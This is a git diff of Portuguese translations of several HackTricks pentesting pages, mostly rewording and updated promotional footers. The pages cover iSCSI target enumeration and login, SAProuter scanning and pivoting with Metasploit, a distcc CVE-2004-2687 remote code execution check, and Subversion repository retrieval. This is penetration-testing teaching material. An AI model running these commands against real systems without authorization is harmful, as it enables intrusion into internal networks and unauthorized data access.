/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/
```
@ -54,32 +55,32 @@ Dentro do diretório, há um arquivo padrão com todas as configurações necess
1. Renomeie `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/` para `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/`
2. Dentro de `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default`, altere a configuração `node.conn[0].address` para apontar para 123.123.123.123 em vez de 192.168.1.2. Isso pode ser feito com um comando como `sed -i 's/192.168.1.2/123.123.123.123/g' /etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default`
Agora você pode montar o alvo conforme as instruções no link.
Você pode agora montar o alvo conforme as instruções no link.
### [Montar ISCSI no Windows](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/ee338476\(v=ws.10\)?redirectedfrom=MSDN)
## **Enumeração Manual**
## **Enumeração manual**
```bash
sudo apt-get install open-iscsi
```
Exemplo de [documentos do iscsiadm](https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm):
Exemplo da [documentação do iscsiadm](https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm):
Primeiramente, você precisa **descobrir o nome dos alvos** por trás do IP:
Primeiro de tudo, você precisa **descobrir os nomes dos alvos** por trás do IP:
```bash
iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260
123.123.123.123:3260,1 iqn.1992-05.com.emc:fl1001433000190000-3-vnxe
[2a01:211:7b7:1223:211:32ff:fea9:fab9]:3260,1 iqn.2000-01.com.synology:asd3.Target-1.d0280fd382
[fe80::211:3232:fab9:1223]:3260,1 iqn.2000-01.com.synology:Oassdx.Target-1.d0280fd382
```
_Note que ele mostrará o **IP e porta das interfaces** onde você pode **alcançar** esses **alvos**. Ele até pode **mostrar IPs internos ou IPs diferentes** daquele que você usou._
_Note que ele mostrará o I**P e a porta das interfaces** onde você pode **alcançar** esses **alvos**. Ele pode até **mostrar IPs internos ou IPs diferentes** do que você usou._
Em seguida, você **pega a 2ª parte da string impressa de cada linha** (_iqn.1992-05.com.emc:fl1001433000190000-3-vnxe_ da primeira linha) e **tenta fazer login**:
Então você **pega a 2ª parte da string impressa de cada linha** (_iqn.1992-05.com.emc:fl1001433000190000-3-vnxe_ da primeira linha) e **tenta fazer login**:
```bash
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260 --login
Logging in to [iface: default, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] (multiple)
Login to [iface: default, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] successful.
```
Em seguida, você pode **sair** usando `logout`
Então, você pode **logout** usando `logout`
```bash
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260 --logout
Logging out of session [sid: 6, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260]
@ -161,7 +162,7 @@ node.conn[0].iscsi.IFMarker = No
node.conn[0].iscsi.OFMarker = No
# END RECORD
```
**Existe um script para automatizar o processo básico de enumeração de sub-redes disponível em** [**iscsiadm**](https://github.com/bitvijays/Pentest-Scripts/tree/master/Vulnerability\_Analysis/isciadm)
** um script para automatizar o processo básico de enumeração de sub-rede disponível em** [**iscsiadm**](https://github.com/bitvijays/Pentest-Scripts/tree/master/Vulnerability\_Analysis/isciadm)
## **Shodan**
@ -172,16 +173,17 @@ node.conn[0].iscsi.OFMarker = No
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
* [https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm](https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm)
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras formas de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,33 +1,36 @@
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
```text
PORT STATE SERVICE VERSION
3299/tcp open saprouter?
```
## Compreensão da Penetração do SAProuter com o Metasploit
Este é um resumo do post de [https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/](https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/)
O SAProuter atua como um proxy reverso para sistemas SAP, principalmente para controlar o acesso entre a internet e as redes internas do SAP. É comum que ele seja exposto à internet permitindo a porta TCP 3299 através dos firewalls organizacionais. Essa configuração torna o SAProuter um alvo atraente para testes de penetração, pois pode servir como uma porta de entrada para redes internas de alto valor.
## Entendendo a Penetração do SAProuter com Metasploit
O SAProuter atua como um proxy reverso para sistemas SAP, principalmente para controlar o acesso entre a internet e redes internas SAP. Ele é comumente exposto à internet permitindo a passagem da porta TCP 3299 através de firewalls organizacionais. Essa configuração torna o SAProuter um alvo atraente para pentesting, pois pode servir como um gateway para redes internas de alto valor.
**Escaneamento e Coleta de Informações**
Inicialmente, é realizado um escaneamento para identificar se um roteador SAP está em execução em um determinado IP usando o módulo **sap_service_discovery**. Este passo é crucial para estabelecer a presença de um roteador SAP e sua porta aberta.
Inicialmente, um escaneamento é realizado para identificar se um SAP router está em execução em um determinado IP usando o módulo **sap_service_discovery**. Esta etapa é crucial para estabelecer a presença de um SAP router e sua porta aberta.
```text
msf> use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > set RHOSTS 1.2.3.101
msf auxiliary(sap_service_discovery) > run
```
Após a descoberta, é realizada uma investigação mais aprofundada na configuração do SAP router com o módulo **sap_router_info_request** para potencialmente revelar detalhes da rede interna.
Após a descoberta, uma investigação adicional na configuração do roteador SAP é realizada com o módulo **sap_router_info_request** para potencialmente revelar detalhes da rede interna.
```text
msf auxiliary(sap_router_info_request) > use auxiliary/scanner/sap/sap_router_info_request
msf auxiliary(sap_router_info_request) > set RHOSTS 1.2.3.101
@ -35,25 +38,27 @@ msf auxiliary(sap_router_info_request) > run
```
**Enumerando Serviços Internos**
Com as informações obtidas sobre a rede interna, o módulo **sap_router_portscanner** é utilizado para sondar hosts e serviços internos através do SAProuter, permitindo uma compreensão mais profunda das redes internas e configurações de serviço.
Com as informações obtidas da rede interna, o módulo **sap_router_portscanner** é usado para sondar hosts e serviços internos através do SAProuter, permitindo uma compreensão mais profunda das redes internas e das configurações de serviços.
```text
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50
msf auxiliary(sap_router_portscanner) > set PORTS 32NN
```
A flexibilidade deste módulo em direcionar instâncias e portas SAP específicas o torna uma ferramenta eficaz para exploração detalhada da rede interna.
**Enumeração Avançada e Mapeamento de ACL**
Escaneamentos adicionais podem revelar como as Listas de Controle de Acesso (ACLs) estão configuradas no SAProuter, detalhando quais conexões são permitidas ou bloqueadas. Essas informações são cruciais para entender as políticas de segurança e possíveis vulnerabilidades.
A varredura adicional pode revelar como as Listas de Controle de Acesso (ACLs) estão configuradas no SAProuter, detalhando quais conexões são permitidas ou bloqueadas. Esta informação é fundamental para entender as políticas de segurança e as potenciais vulnerabilidades.
```text
msf auxiliary(sap_router_portscanner) > set MODE TCP
msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN
```
**Enumeração Cega de Hosts Internos**
Em cenários onde as informações diretas do SAProuter são limitadas, técnicas como a enumeração cega podem ser aplicadas. Esta abordagem tenta adivinhar e verificar a existência de nomes de host internos, revelando possíveis alvos sem endereços IP diretos.
Em cenários onde as informações diretas do SAProuter são limitadas, técnicas como a enumeração cega podem ser aplicadas. Essa abordagem tenta adivinhar e verificar a existência de nomes de hosts internos, revelando potenciais alvos sem endereços IP diretos.
**Alavancando Informações para Testes de Penetração**
**Aproveitando Informações para Pentesting**
Após mapear a rede e identificar os serviços acessíveis, os testadores de penetração podem utilizar as capacidades de proxy do Metasploit para pivotar através do SAProuter para uma exploração e exploração adicionais dos serviços internos do SAP.
Tendo mapeado a rede e identificado serviços acessíveis, os testadores de penetração podem utilizar as capacidades de proxy do Metasploit para pivotar através do SAProuter para uma exploração e exploração adicionais de serviços SAP internos.
```text
msf auxiliary(sap_hostctrl_getcomputersystem) > set Proxies sapni:1.2.3.101:3299
msf auxiliary(sap_hostctrl_getcomputersystem) > set RHOSTS 192.168.1.18
@ -61,10 +66,9 @@ msf auxiliary(sap_hostctrl_getcomputersystem) > run
```
**Conclusão**
Esta abordagem destaca a importância de configurações seguras do SAProuter e destaca o potencial de acesso às redes internas por meio de testes de penetração direcionados. Proteger adequadamente os roteadores SAP e entender seu papel na arquitetura de segurança de rede é crucial para proteger contra acessos não autorizados.
Para obter informações mais detalhadas sobre os módulos do Metasploit e seu uso, visite o [banco de dados da Rapid7](http://www.rapid7.com/db).
Esta abordagem destaca a importância de configurações seguras do SAProuter e ressalta o potencial de acesso a redes internas por meio de testes de penetração direcionados. Proteger adequadamente os roteadores SAP e entender seu papel na arquitetura de segurança da rede é crucial para proteger contra acessos não autorizados.
Para informações mais detalhadas sobre módulos do Metasploit e seu uso, visite [o banco de dados da Rapid7](http://www.rapid7.com/db).
## **Referências**
@ -76,16 +80,17 @@ Para obter informações mais detalhadas sobre os módulos do Metasploit e seu u
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
# Informações Básicas
**Distcc** é uma ferramenta que aprimora o **processo de compilação** utilizando o **poder de processamento ocioso** de outros computadores na rede. Quando o **distcc** é configurado em uma máquina, essa máquina é capaz de distribuir suas **tarefas de compilação** para outro sistema. Este sistema receptor deve estar executando o **daemon distccd** e deve ter um **compilador compatível** instalado para processar o código enviado.
**Distcc** é uma ferramenta que melhora o **processo de compilação** utilizando o **poder de processamento ocioso** de outros computadores na rede. Quando **distcc** é configurado em uma máquina, essa máquina é capaz de distribuir suas **tarefas de compilação** para outro sistema. Este sistema receptor deve estar executando o **daemon distccd** e deve ter um **compilador compatível** instalado para processar o código enviado.
**Porta padrão:** 3632
```
@ -24,16 +25,16 @@ PORT STATE SERVICE
```
# Exploração
Verifique se é vulnerável ao **CVE-2004-2687** para executar código arbitrário:
Verifique se é vulnerável a **CVE-2004-2687** para executar código arbitrário:
```bash
msf5 > use exploit/unix/misc/distcc_exec
nmap -p 3632 <ip> --script distcc-cve2004-2687 --script-args="distcc-exec.cmd='id'"
```
# Shodan
_Não acredito que o Shodan detecte este serviço._
_Eu não acho que o shodan detecta este serviço._
# Recursos
# Resources
* [https://www.rapid7.com/db/modules/exploit/unix/misc/distcc\_exec](https://www.rapid7.com/db/modules/exploit/unix/misc/distcc\_exec)
* [https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855](https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855)
@ -41,16 +42,17 @@ _Não acredito que o Shodan detecte este serviço._
Post criado por **Álex B (@r1p)**
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,30 +1,29 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Informações Básicas
**Subversion** é um **sistema de controle de versão** centralizado que desempenha um papel crucial na gestão dos dados presentes e históricos de projetos. Sendo uma ferramenta **open source**, opera sob a **licença Apache**. Este sistema é amplamente reconhecido por suas capacidades em **versionamento de software e controle de revisão**, garantindo que os usuários possam acompanhar as mudanças ao longo do tempo de forma eficiente.
**Subversion** é um **sistema de controle de versão** centralizado que desempenha um papel crucial na gestão tanto dos dados presentes quanto históricos de projetos. Sendo uma ferramenta **open source**, opera sob a **licença Apache**. Este sistema é amplamente reconhecido por suas capacidades em **versionamento de software e controle de revisões**, garantindo que os usuários possam acompanhar as mudanças ao longo do tempo de forma eficiente.
**Porta padrão:** 3690
```
PORT STATE SERVICE
3690/tcp open svnserve Subversion
```
## Banner Grabbing
Banner Grabbing é uma técnica usada para obter informações sobre um serviço rodando em um servidor remoto. Isso envolve a conexão com o serviço e coleta do banner ou cabeçalho de resposta para identificar o tipo e versão do serviço em execução. Essas informações podem ser úteis para identificar vulnerabilidades conhecidas e possíveis pontos de entrada para ataques.
## Captura de Banner
```
nc -vn 10.10.10.10 3690
```
@ -35,16 +34,17 @@ svn log svn://10.10.10.203 #Commit history
svn checkout svn://10.10.10.203 #Download the repository
svn up -r 2 #Go to revision 2 inside the checkout folder
```
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Supporte o HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -1,28 +1,29 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Informações Básicas
O **Erlang Port Mapper Daemon (epmd)** atua como coordenador para instâncias Erlang distribuídas. É responsável por mapear nomes simbólicos de nós para endereços de máquinas, garantindo essencialmente que cada nome de nó esteja associado a um endereço específico. Esse papel do **epmd** é crucial para a interação e comunicação perfeitas entre diferentes nós Erlang em uma rede.
